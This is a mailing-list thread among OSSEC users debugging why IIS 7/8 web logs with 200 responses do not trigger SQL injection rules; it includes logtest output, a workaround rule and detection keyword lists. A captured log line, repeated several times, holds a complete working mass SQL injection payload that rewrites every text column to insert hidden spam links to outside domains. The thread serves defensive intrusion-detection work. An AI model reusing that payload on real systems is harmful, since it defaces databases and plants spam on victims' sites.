>>Interesting.
>>So, if the IIS response starts with a 2 or 3 (200 in your case), it likely >>passes the test and is ignored. There are some rules that are designed to >>trap the 200 OK attacks. >>But those aren't triggering either.. >>Take your log, and change the IIS response from 200 to 404 and you get a >>positive result on a SQL injection attack. >>Add this to your local_rules.xml >> <rule id="100169" level="10"> >> <if_sid>31108</if_sid> >> >> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >> <match>union+|where+|null,null|xp_cmdshell</match> >> <description>fix IIS matching SQL attacks</description> >> </rule> >> It'll work around the issue and start matching the sql injection attacks... >> Yep that works, thanks! >> Could you submit this to github as an issue with the repeatable log data? >> That'd probably work better on getting a >> resolution in the next release >> for this issue.... Created issue https://github.com/ossec/ossec-hids/issues/472 “IIS 7/8 logs not triggering on Injection Attack Web Rule if response code matches ^2 or ^3” Hopefully it’s a simple fix and not too far reaching into the core logic of how alerts are decoded.. On Tuesday, December 23, 2014 2:24:39 PM UTC-8, James Whittington wrote: >>What does ossec-logtest respond with on the sample below? >>2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - 2.3.4.5 >>HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko >>- - IIS8-5Server 404 0 2 1477 256 0 Docodes as a common web attack: **Phase 2: Completed decoding. decoder: 'windows-date-format' url: '/cmd.exe -' srcip: '2.3.4.5' id: '404' **Phase 3: Completed filtering (rules). Rule id: '31104' Level: '6' Description: 'Common web attack.' **Alert to be generated. >>Can you provide a sample of the log with the SQL injection that isn't picked >>up by web rules? Also, could you provide the relevant >>portion of a URL you >>use to test a SQL injection attack? I'll try it on my systems and perhaps we >>can compare the logs to figure out >>where the issue is. Here is an example of a recent injection attack on a IIS 7 website, we are seeing reflections of the attacks as we send error stack traces to a central system endpoint and another hardware based IDS is picking up the activity as one webserver attacking another webserver. It’s really long but here it is :<).. 2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET /search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id <http://20i.id> =o.id <http://o.id> %20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c-- 80 - 173.201.216.6 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="display:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id <http://i.id> =o.id <http://o.id> +INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- - http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="display:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id <http://i.id> =o.id <http://o.id> +INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- www.somesite.org <http://www.somesite.org> 200 0 0 36560 3942 78 Get decoded as: **Phase 2: Completed decoding. decoder: 'windows-date-format' url: '/search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id <http://20i.id> =o.id <http://o.id> %20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--' srcip: '173.201.216.6' id: '200' **Phase 3: Completed filtering (rules). Rule id: '31108' Level: '0' Description: 'Ignored URLs (simple queries).' The URL is decoding but should be triggering on this rule? <rule id="31103" level="6"> <if_sid>31100</if_sid> <url>=select%20|select+|insert%20|%20from%20|%20where%20|union%20|</url> <url>union+|where+|null,null|xp_cmdshell</url> <description>SQL injection attempt.</description> <group>attack,sql_injection,</group> </rule> On Monday, December 22, 2014 11:40:30 AM UTC-8, James Whittington wrote: >> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >> for the built-in decoders in OSSEC. I even tested with Nexpose and >> they both work. >Can you please post a log sample that you know decodes properly and for which >the rules hit as they should? It would be nice to get to the bottom of >this. I haven't seen a log sample of IIS 7.5 and IIS 8.5 "flawlessly" decoding and triggering on default web rules so I was hoping someone would step up and show a decoded IIS log triggering on a web rule. >From what I can tell on a logtest only the parent decoder displays so I think >it would be tricky to know for sure which decoder was used last. I checked log samples from IIS 7, IIS 8, ISS 8 in the azure cloud and they all extract URL at least, but none seem to trigger on a simple SQL injection rule I had been previously advised that the documentation says all log fields must be checked (Yep did that a couple of years ago but I double checked anyway). I have also heard to just use something else to analyze IIS log events (and this is likely the best path for me at this point). I like the flexibility OSSEC gives me but I am pretty darn sure IIS logs will not trigger on web rules which is a shame. I guess I must be in the minority with using OSSEC to monitor IIS logs, or something in my setup is wrong, or folks just assume OSSEC is helping them watch IIS logs. I am just putting this topic back out there in case anything new had happened with it. James Whittington -----Original Message----- From: [email protected] <mailto:[email protected]> [mailto:[email protected]] On Behalf Of Michael Starks Sent: Saturday, December 13, 2014 11:50 To: [email protected] <mailto:[email protected]> Subject: Re: [ossec-list] Re: anyone know the status of the issue where IIS logs are not able to trigger on web_rules.xml On 12/12/2014 06:02 PM, Brent Morris wrote: > It should be noted that the decoders seem fine for me (and I suspect > everyone else). I think that github issue is bogus. I think it is correct, but of course I could have made a mistake. > Follow what I posted above... basically, IIS Manager > Default Web > Site >> Logging > Log File Format: W3C - select fields. *Check all the >> boxes > that are not checked*!!!!! I think there were 4 that weren't checked. > > Edit your OSSEC config on that box... > > <localfile> > <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location> > <log_format>iis</log_format> > </localfile> > > I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly > for the built-in decoders in OSSEC. I even tested with Nexpose and > they both work. Can you please post a log sample that you know decodes properly and for which the rules hit as they should? It would be nice to get to the bottom of this. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected] <mailto:[email protected]> . For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected] <javascript:> . For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected] <mailto:[email protected]> . For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout.
